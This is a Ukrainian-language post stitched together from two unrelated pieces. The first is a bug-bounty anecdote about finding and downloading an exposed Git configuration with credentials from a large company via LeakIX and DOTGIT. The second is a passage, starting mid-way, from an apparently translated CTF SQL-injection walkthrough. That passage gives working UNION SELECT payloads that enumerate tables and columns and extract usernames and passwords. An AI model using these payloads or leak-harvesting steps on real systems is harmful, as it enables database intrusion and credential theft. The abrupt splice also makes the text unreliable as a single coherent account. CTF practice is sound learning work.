Привіт, друзі!😊
У мене було багато різних друзів у житті: депресія, стрес, темні плями, прищі і навіть історії про розриви😑. Але знаєте, чого у мене не було? Роботи.
Переживаючи цей стан і відчуваючи себе не дуже успішним, я почав свій день із подачі заявок на роботу через кар'єрні сторінки різних компаній.
Але потім моя ліньлива, зла свідомість прошепотіла: "Чому б не перевірити сам портал вакансій?"
Для виявлення витоків чутливої інформації я використав сайт:
🔗 LeakIX
Я випадково спробував доменне ім'я, example.com.
LeakIX виявився вражаючим інструментом, який здатен знаходити витоки чутливої інформації, такі як конфігураційні файли Git, плагіни Apache та інше.
На моє здивування я знайшов конфігураційний файл Git від Accenture, в якому містилась чутлива інформація, така як API ключі, назви баз даних, паролі та конфігураційні файли.
Я швидко скачав файли за допомогою розширення DOTGIT:
📂 Зміст папки: index
, config
, HEAD
, objects
тощо.
Я негайно повідомив компанії про проблему, сподіваючись на велику перемогу…😃
Але несподівано стався поворот сюжету — виявилось, що хтось вже повідомив про цю вразливість.
Мій звіт було позначено як дубліката. Тому замість BOOOMMM це було більше схоже на UHHHMMMMMM. 😅
Але, знаєте, я спробував, я навчився, і тепер готовий до наступної полювання!
Дякую за увагу! 🚀
Зв'яжіться зі мною!
- Instagram: rev_shinchan
- Gmail: [email protected]
EnnamPolVazhlkai😇
#BugBounty
, #CyberSecurity
, #InfoSec
, #Hacking
, #WebSecurity
, #CTF
.
Останній успішний індекс стовпця був 13, що означає, що запит повертає 13 стовпців у своєму результаті.
По-друге, нам потрібно визначити, які стовпці вразливі до витоку даних через UNION SELECT.
Payload: -2'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13 — +-
Цифри на сторінці — це стовпці, які можуть відображати витягнуті дані.
По-третє, нам потрібно визначити назви таблиць
Payload: -2'+UNION(SELECT+1,tablename,3,4,5,6,7,8,9,10,11,12,13+FROM+informationschema.tables+WHERE+table_schema=database()+LIMIT+12,1) — +-
- Другий стовпець (
table_name
) замінюється на фактичні значення з бази даних. information_schema.tables
— це системна таблиця, яка містить метадані про всі таблиці в базі даних.- Умова
WHERE table_schema=database()
гарантує, що вибираються лише таблиці з поточної бази даних (яка отримується динамічно за допомогоюdatabase()
). LIMIT x,1
дозволяє зловмиснику витягнути одне ім’я таблиці за раз, коригуючиx
, який є нульовим індексом.
Таким чином, я виявив таблицю
users
на індексі 12.
По-четверте, нам потрібно визначити назви стовпців з таблиці users
.
Payload: -2'+UNION(SELECT+1,columnname,3,4,5,6,7,8,9,10,11,12,13+FROM+informationschema.columns+WHERE+tableschema%3ddatabase()+and+tablename%3d’users’+LIMIT+8,1) — +-
- Другий стовпець (
column_name
) замінюється на фактичне значення стовпця. information_schema.columns
— це системна таблиця в SQL базах даних, яка містить метадані про всі стовпці в кожній таблиці бази даних.- Умова
WHERE table_schema=database()
гарантує, що вибираються лише таблиці з поточної бази даних (яка отримується динамічно за допомогоюdatabase()
). LIMIT x,1
дозволяє зловмиснику витягнути одне ім’я стовпця за раз, коригуючиx
, який є нульовим індексом.
Таким чином, я виявив стовпець
password
на індексі 8 і стовпецьusername
на індексі 10.
По-п’яте, нам потрібно витягнути пароль адміністратора з бази даних
Payload: -2'+UNION(SELECT+1,username,3,4,5,6,7,8,9,10,11,12,password+FROM+users+LIMIT+0,1) — +-
Цей payload витягне ім’я користувача та його відповідний пароль з таблиці users
.
Завдання виконано.
Перекладено з: Manual Exploitation SQL Injection CTF LAB